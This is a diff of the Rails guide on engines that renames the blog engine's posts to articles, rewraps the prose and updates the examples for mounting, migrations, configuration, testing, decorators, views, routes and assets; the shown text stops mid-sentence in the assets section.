-Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine.
+Using an engine within an application is very easy. This section covers how to
+mount the engine into an application and the initial setup required, as well as
+linking the engine to a `User` class provided by the application to provide
+ownership for articles and comments within the engine.
-### Mounting the engine
+### Mounting the Engine
-First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this:
+First, the engine needs to be specified inside the application's `Gemfile`. If
+there isn't an application handy to test this out in, generate one using the
+`rails new` command outside of the engine directory like this:
```bash
$ rails new unicorn
```
-Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
+Usually, specifying the engine inside the Gemfile would be done by specifying it
+as a normal, everyday gem.
```ruby
gem 'devise'
```
-However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`:
+However, because you are developing the `blorgh` engine on your local machine,
+you will need to specify the `:path` option in your `Gemfile`:
```ruby
gem 'blorgh', path: "/path/to/blorgh"
```
-As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine.
+Then run `bundle` to install the gem.
+
+As described earlier, by placing the gem in the `Gemfile` it will be loaded when
+Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then
+`lib/blorgh/engine.rb`, which is the file that defines the major pieces of
+functionality for the engine.
-To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file:
+To make the engine's functionality accessible from within an application, it
+needs to be mounted in that application's `config/routes.rb` file:
```ruby
mount Blorgh::Engine, at: "/blog"
```
-This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`.
+This line will mount the engine at `/blog` in the application. Making it
+accessible at `http://localhost:3000/blog` when the application runs with `rails
+server`.
-NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
+NOTE: Other engines, such as Devise, handle this a little differently by making
+you specify custom helpers (such as `devise_for`) in the routes. These helpers
+do exactly the same thing, mounting pieces of the engines's functionality at a
+pre-defined path which may be customizable.
### Engine setup
-The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
+The engine contains migrations for the `blorgh_articles` and `blorgh_comments`
+table which need to be created in the application's database so that the
+engine's models can query them correctly. To copy these migrations into the
+application use this command:
```bash
$ rake blorgh:install:migrations
```
-If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead:
+If you have multiple engines that need migrations copied over, use
+`railties:install:migrations` instead:
```bash
$ rake railties:install:migrations
```
-This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
+This command, when run for the first time, will copy over all the migrations
+from the engine. When run the next time, it will only copy over migrations that
+haven't been copied over already. The first run for this command will output
+something such as this:
```bash
-Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
+Copied migration [timestamp_1]_create_blorgh_articles.rb from blorgh
Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
```
-The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
+The first timestamp (`[timestamp_1]`) will be the current time, and the second
+timestamp (`[timestamp_2]`) will be the current time plus a second. The reason
+for this is so that the migrations for the engine are run after any existing
+migrations in the application.
-To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
+To run these migrations within the context of the application, simply run `rake
+db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the
+articles will be empty. This is because the table created inside the application is
+different from the one created within the engine. Go ahead, play around with the
+newly mounted engine. You'll find that it's the same as when it was only an
+engine.
-If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`:
+If you would like to run migrations only from one engine, you can do it by
+specifying `SCOPE`:
```bash
rake db:migrate SCOPE=blorgh
```
-This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
+This may be useful if you want to revert engine's migrations before removing it.
+To revert all migrations from blorgh engine you can run code such as:
```bash
rake db:migrate SCOPE=blorgh VERSION=0
```
-### Using a class provided by the application
+### Using a Class Provided by the Application
-#### Using a model provided by the application
+#### Using a Model Provided by the Application
-When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense.
+When an engine is created, it may want to use specific classes from an
+application to provide links between the pieces of the engine and the pieces of
+the application. In the case of the `blorgh` engine, making articles and comments
+have authors would make a lot of sense.
-A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class.
+A typical application might have a `User` class that would be used to represent
+authors for an article or a comment. But there could be a case where the
+application calls this class something different, such as `Person`. For this
+reason, the engine should not hardcode associations specifically for a `User`
+class.
-To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application:
+To keep it simple in this case, the application will have a class called `User`
+that represents the users of the application (we'll get into making this
+configurable further on). It can be generated using this command inside the
+application:
```bash
rails g model user name:string
```
-The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use.
+The `rake db:migrate` command needs to be run here to ensure that our
+application has the `users` table for future use.
-Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it.
+Also, to keep it simple, the articles form will have a new text field called
+`author_name`, where users can elect to put their name. The engine will then
+take this name and either create a new `User` object from it, or find one that
+already has that name. The engine will then associate the article with the found or
+created `User` object.
-First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code:
+First, the `author_name` text field needs to be added to the
+`app/views/blorgh/articles/_form.html.erb` partial inside the engine. This can be
+added above the `title` field with this code:
```html+erb
<div class="field">
- <%= f.label :author_name %><br />
+ <%= f.label :author_name %><br>
<%= f.text_field :author_name %>
</div>
```
-The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it.
+Next, we need to update our `Blorgh::ArticleController#article_params` method to
+permit the new form parameter:
+
+```ruby
+def article_params
+ params.require(:article).permit(:title, :text, :author_name)
+end
+```
+
+The `Blorgh::Article` model should then have some code to convert the `author_name`
+field into an actual `User` object and associate it as that article's `author`
+before the article is saved. It will also need to have an `attr_accessor` set up
+for this field, so that the setter and getter methods are defined for it.
-To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being.
+To do all this, you'll need to add the `attr_accessor` for `author_name`, the
+association for the author and the `before_save` call into
+`app/models/blorgh/article.rb`. The `author` association will be hard-coded to the
+`User` class for the time being.
```ruby
attr_accessor :author_name
@@ -531,58 +797,74 @@ before_save :set_author
private
def set_author
- self.author = User.find_or_create_by_name(author_name)
+ self.author = User.find_or_create_by(name: author_name)
end
```
-By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table.
+By representing the `author` association's object with the `User` class, a link
+is established between the engine and the application. There needs to be a way
+of associating the records in the `blorgh_articles` table with the records in the
+`users` table. Because the association is called `author`, there should be an
+`author_id` column added to the `blorgh_articles` table.
To generate this new column, run this command within the engine:
```bash
-$ rails g migration add_author_id_to_blorgh_posts author_id:integer
+$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer
```
-NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
+NOTE: Due to the migration's name and the column specification after it, Rails
+will automatically know that you want to add a column to a specific table and
+write that into the migration for you. You don't need to tell it any more than
+this.
-This migration will need to be run on the application. To do that, it must first be copied using this command:
+This migration will need to be run on the application. To do that, it must first
+be copied using this command:
```bash
$ rake blorgh:install:migrations
```
-Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
+Notice that only _one_ migration was copied over here. This is because the first
+two migrations were copied over the first time this command was run.
```
-NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
-NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
-Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
+NOTE Migration [timestamp]_create_blorgh_articles.rb from blorgh has been
+skipped. Migration with the same name already exists. NOTE Migration
+[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration
+with the same name already exists. Copied migration
+[timestamp]_add_author_id_to_blorgh_articles.rb from blorgh
```
-Run this migration using this command:
+Run the migration using:
```bash
$ rake db:migrate
```
-Now with all the pieces in place, an action will take place that will associate an author — represented by a record in the `users` table — with a post, represented by the `blorgh_posts` table from the engine.
+Now with all the pieces in place, an action will take place that will associate
+an author - represented by a record in the `users` table - with an article,
+represented by the `blorgh_articles` table from the engine.
-Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
+Finally, the author's name should be displayed on the article's page. Add this code
+above the "Title" output inside `app/views/blorgh/articles/show.html.erb`:
```html+erb
<p>
<b>Author:</b>
- <%= @post.author %>
+ <%= @article.author %>
</p>
```
-By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly:
+By outputting `@article.author` using the `<%=` tag, the `to_s` method will be
+called on the object. By default, this will look quite ugly:
```
#<User:0x00000100ccb3b0>
```
-This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application:
+This is undesirable. It would be much better to have the user's name there. To
+do this, add a `to_s` method to the `User` class within the application:
```ruby
def to_s
@@ -590,129 +872,258 @@ def to_s
end
```
-Now instead of the ugly Ruby object output the author's name will be displayed.
+Now instead of the ugly Ruby object output, the author's name will be displayed.
-#### Using a controller provided by the application
+#### Using a Controller Provided by the Application
-Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like:
+Because Rails controllers generally share code for things like authentication
+and accessing session variables, they inherit from `ApplicationController` by
+default. Rails engines, however are scoped to run independently from the main
+application, so each engine gets a scoped `ApplicationController`. This
+namespace prevents code collisions, but often engine controllers need to access
+methods in the main application's `ApplicationController`. An easy way to
+provide this access is to change the engine's scoped `ApplicationController` to
+inherit from the main application's `ApplicationController`. For our Blorgh
+engine this would be done by changing
+`app/controllers/blorgh/application_controller.rb` to look like:
```ruby
class Blorgh::ApplicationController < ApplicationController
end
```
-By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application.
+By default, the engine's controllers inherit from
+`Blorgh::ApplicationController`. So, after making this change they will have
+access to the main application's `ApplicationController`, as though they were
+part of the main application.
-This change does require that the engine is run from a Rails application that has an `ApplicationController`.
+This change does require that the engine is run from a Rails application that
+has an `ApplicationController`.
-### Configuring an engine
+### Configuring an Engine
-This section covers how to make the `User` class configurable, followed by general configuration tips for the engine.
+This section covers how to make the `User` class configurable, followed by
+general configuration tips for the engine.
-#### Setting configuration settings in the application
+#### Setting Configuration Settings in the Application
-The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `user_class` that will be used to specify what the class representing users is inside the application.
+The next step is to make the class that represents a `User` in the application
+customizable for the engine. This is because that class may not always be
+`User`, as previously explained. To make this setting customizable, the engine
+will have a configuration setting called `author_class` that will be used to
+specify which class represents users inside the application.
-To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line:
+To define this configuration setting, you should use a `mattr_accessor` inside
+the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the
+engine:
```ruby
-mattr_accessor :user_class
+mattr_accessor :author_class
```
-This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.user_class`.
+This method works like its brothers, `attr_accessor` and `cattr_accessor`, but
+provides a setter and getter method on the module with the specified name. To
+use it, it must be referenced using `Blorgh.author_class`.
-The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this:
+The next step is to switch the `Blorgh::Article` model over to this new setting.
+Change the `belongs_to` association inside this model
+(`app/models/blorgh/article.rb`) to this:
```ruby
-belongs_to :author, class_name: Blorgh.user_class
+belongs_to :author, class_name: Blorgh.author_class
```
-The `set_author` method also located in this class should also use this class:
+The `set_author` method in the `Blorgh::Article` model should also use this class:
```ruby
-self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name)
+self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
```
-To save having to call `constantize` on the `user_class` result all the time, you could instead just override the `user_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result:
+To save having to call `constantize` on the `author_class` result all the time,
+you could instead just override the `author_class` getter method inside the
+`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the
+saved value before returning the result:
```ruby
-def self.user_class
- @@user_class.constantize
+def self.author_class
+ @@author_class.constantize
end
```
This would then turn the above code for `set_author` into this:
```ruby
-self.author = Blorgh.user_class.find_or_create_by_name(author_name)
+self.author = Blorgh.author_class.find_or_create_by(name: author_name)
```
-Resulting in something a little shorter, and more implicit in its behaviour. The `user_class` method should always return a `Class` object.
+Resulting in something a little shorter, and more implicit in its behavior. The
+`author_class` method should always return a `Class` object.
-To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing.
+Since we changed the `author_class` method to return a `Class` instead of a
+`String`, we must also modify our `belongs_to` definition in the `Blorgh::Article`
+model:
-Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it:
+```ruby
+belongs_to :author, class_name: Blorgh.author_class.to_s
+```
+
+To set this configuration setting within the application, an initializer should
+be used. By using an initializer, the configuration will be set up before the
+application starts and calls the engine's models, which may depend on this
+configuration setting existing.
+
+Create a new initializer at `config/initializers/blorgh.rb` inside the
+application where the `blorgh` engine is installed and put this content in it:
```ruby
-Blorgh.user_class = "User"
+Blorgh.author_class = "User"
```
-WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on.
+WARNING: It's very important here to use the `String` version of the class,
+rather than the class itself. If you were to use the class, Rails would attempt
+to load that class and then reference the related table. This could lead to
+problems if the table wasn't already existing. Therefore, a `String` should be
+used and then converted to a class using `constantize` in the engine later on.
-Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is.
+Go ahead and try to create a new article. You will see that it works exactly in the
+same way as before, except this time the engine is using the configuration
+setting in `config/initializers/blorgh.rb` to learn what the class is.
-There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by_name` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
+There are now no strict dependencies on what the class is, only what the API for
+the class must be. The engine simply requires this class to define a
+`find_or_create_by` method which returns an object of that class, to be
+associated with an article when it's created. This object, of course, should have
+some sort of identifier by which it can be referenced.
-#### General engine configuration
+#### General Engine Configuration
-Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
+Within an engine, there may come a time where you wish to use things such as
+initializers, internationalization or other configuration options. The great
+news is that these things are entirely possible, because a Rails engine shares
+much the same functionality as a Rails application. In fact, a Rails
+application's functionality is actually a superset of what is provided by
+engines!
-If you wish to use an initializer — code that should run before the engine is loaded — the place for it is the `config/initializers` folder. This directory's functionality is explained in the [Initializers section](http://guides.rubyonrails.org/configuring.html#initializers) of the Configuring guide, and works precisely the same way as the `config/initializers` directory inside an application. Same goes for if you want to use a standard initializer.
+If you wish to use an initializer - code that should run before the engine is
+loaded - the place for it is the `config/initializers` folder. This directory's
+functionality is explained in the [Initializers
+section](configuring.html#initializers) of the Configuring guide, and works
+precisely the same way as the `config/initializers` directory inside an
+application. The same thing goes if you want to use a standard initializer.
-For locales, simply place the locale files in the `config/locales` directory, just like you would in an application.
+For locales, simply place the locale files in the `config/locales` directory,
+just like you would in an application.
Testing an engine
-----------------
-When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
+When an engine is generated, there is a smaller dummy application created inside
+it at `test/dummy`. This application is used as a mounting point for the engine,
+to make testing the engine extremely simple. You may extend this application by
+generating controllers, models or views from within the directory, and then use
+those to test your engine.
-The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
+The `test` directory should be treated like a typical Rails testing environment,
+allowing for unit, functional and integration tests.
-### Functional tests
+### Functional Tests
-A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application — the `test/dummy` application — rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this:
+A matter worth taking into consideration when writing functional tests is that
+the tests are going to be running on an application - the `test/dummy`
+application - rather than your engine. This is due to the setup of the testing
+environment; an engine needs an application as a host for testing its main
+functionality, especially controllers. This means that if you were to make a
+typical `GET` to a controller in a controller's functional test like this:
```ruby
-get :index
+module Blorgh
+ class FooControllerTest < ActionController::TestCase
+ def test_index
+ get :index
+ ...
+ end
+ end
+end
```
-It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also:
+It may not function correctly. This is because the application doesn't know how
+to route these requests to the engine unless you explicitly tell it **how**. To
+do this, you must set the `@routes` instance variable to the engine's route set
+in your setup code:
```ruby
-get :index, use_route: :blorgh
+module Blorgh
+ class FooControllerTest < ActionController::TestCase
+ setup do
+ @routes = Engine.routes
+ end
+
+ def test_index
+ get :index
+ ...
+ end
+ end
+end
```
-This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application.
+This tells the application that you still want to perform a `GET` request to the
+`index` action of this controller, but you want to use the engine's route to get
+there, rather than the application's one.
+
+This also ensures that the engine's URL helpers will work as expected in your
+tests.
Improving engine functionality
------------------------------
-This section explains how to add and/or override engine MVC functionality in the main Rails application.
+This section explains how to add and/or override engine MVC functionality in the
+main Rails application.
### Overriding Models and Controllers
-Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern.
+Engine model and controller classes can be extended by open classing them in the
+main Rails application (since model and controller classes are just Ruby classes
+that inherit Rails specific functionality). Open classing an Engine class
+redefines it for use in the main application. This is usually implemented by
+using the decorator pattern.
-For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`.
+For simple class modifications, use `Class#class_eval`. For complex class
+modifications, consider using `ActiveSupport::Concern`.
+
+#### A note on Decorators and Loading Code
+
+Because these decorators are not referenced by your Rails application itself,
+Rails' autoloading system will not kick in and load your decorators. This means
+that you need to require them yourself.
+
+Here is some sample code to do this:
+
+```ruby
+# lib/blorgh/engine.rb
+module Blorgh
+ class Engine < ::Rails::Engine
+ isolate_namespace Blorgh
+
+ config.to_prepare do
+ Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c|
+ require_dependency(c)
+ end
+ end
+ end
+end
+```
+
+This doesn't apply to just Decorators, but anything that you add in an engine
+that isn't referenced by your main application.
#### Implementing Decorator Pattern Using Class#class_eval
-**Adding** `Post#time_since_created`,
+**Adding** `Article#time_since_created`:
```ruby
-# MyApp/app/decorators/models/blorgh/post_decorator.rb
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
-Blorgh::Post.class_eval do
+Blorgh::Article.class_eval do
def time_since_created
Time.current - created_at
end
@@ -720,20 +1131,20 @@ end
```
```ruby
-# Blorgh/app/models/post.rb
+# Blorgh/app/models/article.rb
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
has_many :comments
end
```
-**Overriding** `Post#summary`
+**Overriding** `Article#summary`:
```ruby
-# MyApp/app/decorators/models/blorgh/post_decorator.rb
+# MyApp/app/decorators/models/blorgh/article_decorator.rb
-Blorgh::Post.class_eval do
+Blorgh::Article.class_eval do
def summary
"#{title} - #{truncate(text)}"
end
@@ -741,9 +1152,9 @@ end
```
```ruby
-# Blorgh/app/models/post.rb
+# Blorgh/app/models/article.rb
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
has_many :comments
def summary
"#{title}"
@@ -753,16 +1164,19 @@ end
#### Implementing Decorator Pattern Using ActiveSupport::Concern
-Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html) helps manage load order of interlinked dependencies at run time allowing you to significantly modularize your code.
+Using `Class#class_eval` is great for simple adjustments, but for more complex
+class modifications, you might want to consider using [`ActiveSupport::Concern`]
+(http://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
+ActiveSupport::Concern manages load order of interlinked dependent modules and
+classes at run time allowing you to significantly modularize your code.
-**Adding** `Post#time_since_created`<br/>
-**Overriding** `Post#summary`
+**Adding** `Article#time_since_created` and **Overriding** `Article#summary`:
```ruby
-# MyApp/app/models/blorgh/post.rb
+# MyApp/app/models/blorgh/article.rb
-class Blorgh::Post < ActiveRecord::Base
- include Blorgh::Concerns::Models::Post
+class Blorgh::Article < ActiveRecord::Base
+ include Blorgh::Concerns::Models::Article
def time_since_created
Time.current - created_at
@@ -775,22 +1189,22 @@ end
```
```ruby
-# Blorgh/app/models/post.rb
+# Blorgh/app/models/article.rb
-class Post < ActiveRecord::Base
- include Blorgh::Concerns::Models::Post
+class Article < ActiveRecord::Base
+ include Blorgh::Concerns::Models::Article
end
```
```ruby
-# Blorgh/lib/concerns/models/post
+# Blorgh/lib/concerns/models/article
-module Blorgh::Concerns::Models::Post
+module Blorgh::Concerns::Models::Article
extend ActiveSupport::Concern
# 'included do' causes the included code to be evaluated in the
- # conext where it is included (post.rb), rather than be
- # executed in the module's context (blorgh/concerns/models/post).
+ # context where it is included (article.rb), rather than being
+ # executed in the module's context (blorgh/concerns/models/article).
included do
attr_accessor :author_name
belongs_to :author, class_name: "User"
@@ -798,10 +1212,9 @@ module Blorgh::Concerns::Models::Post
before_save :set_author
private
-
- def set_author
- self.author = User.find_or_create_by_name(author_name)
- end
+ def set_author
+ self.author = User.find_or_create_by(name: author_name)
+ end
end
def summary
@@ -816,76 +1229,116 @@ module Blorgh::Concerns::Models::Post
end
```
-### Overriding views
+### Overriding Views
-When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory.
+When Rails looks for a view to render, it will first look in the `app/views`
+directory of the application. If it cannot find the view there, it will check in
+the `app/views` directories of all engines that have this directory.
-In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine.
+When the application is asked to render the view for `Blorgh::ArticlesController`'s
+index action, it will first look for the path
+`app/views/blorgh/articles/index.html.erb` within the application. If it cannot
+find it, it will look inside the engine.
-You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output.
+You can override this view in the application by simply creating a new file at
+`app/views/blorgh/articles/index.html.erb`. Then you can completely change what
+this view would normally output.
-Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it:
+Try this now by creating a new file at `app/views/blorgh/articles/index.html.erb`
+and put this content in it:
```html+erb
-<h1>Posts</h1>
-<%= link_to "New Post", new_post_path %>
-<% @posts.each do |post| %>
- <h2><%= post.title %></h2>
- <small>By <%= post.author %></small>
- <%= simple_format(post.text) %>
+<h1>Articles</h1>
+<%= link_to "New Article", new_article_path %>
+<% @articles.each do |article| %>
+ <h2><%= article.title %></h2>
+ <small>By <%= article.author %></small>
+ <%= simple_format(article.text) %>
<hr>
<% end %>
```
### Routes
-Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes, and that they will not clash.
+Routes inside an engine are isolated from the application by default. This is
+done by the `isolate_namespace` call inside the `Engine` class. This essentially
+means that the application and its engines can have identically named routes and
+they will not clash.
-Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this:
+Routes inside an engine are drawn on the `Engine` class within
+`config/routes.rb`, like this:
```ruby
Blorgh::Engine.routes.draw do
- resources :posts
+ resources :articles
end
```
-By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined.
+By having isolated routes such as this, if you wish to link to an area of an
+engine from within an application, you will need to use the engine's routing
+proxy method. Calls to normal routing methods such as `articles_path` may end up
+going to undesired locations if both the application and the engine have such a
+helper defined.
-For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine:
+For instance, the following example would go to the application's `articles_path`
+if that template was rendered from the application, or the engine's `articles_path`
+if it was rendered from the engine:
```erb
-<%= link_to "Blog posts", posts_path %>
+<%= link_to "Blog articles", articles_path %>
```
-To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
+To make this route always use the engine's `articles_path` routing helper method,
+we must call the method on the routing proxy method that shares the same name as
+the engine.
```erb
-<%= link_to "Blog posts", blorgh.posts_path %>
+<%= link_to "Blog articles", blorgh.articles_path %>
```
-If you wish to reference the application inside the engine in a similar way, use the `main_app` helper:
+If you wish to reference the application inside the engine in a similar way, use
+the `main_app` helper:
```erb
<%= link_to "Home", main_app.root_path %>
```
-If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
+If you were to use this inside an engine, it would **always** go to the
+application's root. If you were to leave off the `main_app` "routing proxy"
+method call, it could potentially go to the engine's or application's root,
+depending on where it was called from.
-If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine.
+If a template rendered from within an engine attempts to use one of the
+application's routing helper methods, it may result in an undefined method call.
+If you encounter such an issue, ensure that you're not attempting to call the
+application's routing methods without the `main_app` prefix from within the
+engine.
### Assets
-Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets.
+Assets within an engine work in an identical way to a full application. Because
+the engine class inherits from `Rails::Engine`, the application will know to
+look up assets in the engine's 'app/assets' and 'lib/assets' directories.
-Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored.
+Like all of the other components of an engine, the assets should be namespaced.
+This means that if you have an asset called `style.css`, it should be placed at
+`app/assets/stylesheets/[engine name]/style.css`, rather than
+`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a
+possibility that the host application could have an asset named identically, in
+which case the application's asset would take precedence and the engine's one
+would be ignored.
-Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine:
+Imagine that you did have an asset located at
+`app/assets/stylesheets/blorgh/style.css` To include this asset inside an
+application, just use `stylesheet_link_tag` and reference the asset as if it
+were inside the engine:
```erb
<%= stylesheet_link_tag "blorgh/style.css" %>
```
-You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
+You can also specify these assets as dependencies of other assets using Asset
+Pipeline require statements in processed files:
```
/*
@@ -893,16 +1346,21 @@ You can also specify these assets as dependencies of other assets using the Asse
*/
```
-INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`.
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you
+should add the relevant library to your engine's `.gemspec`.
### Separate Assets & Precompiling
-There are some situations where your engine's assets are not required by the host application. For example, say that you've created
-an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css`
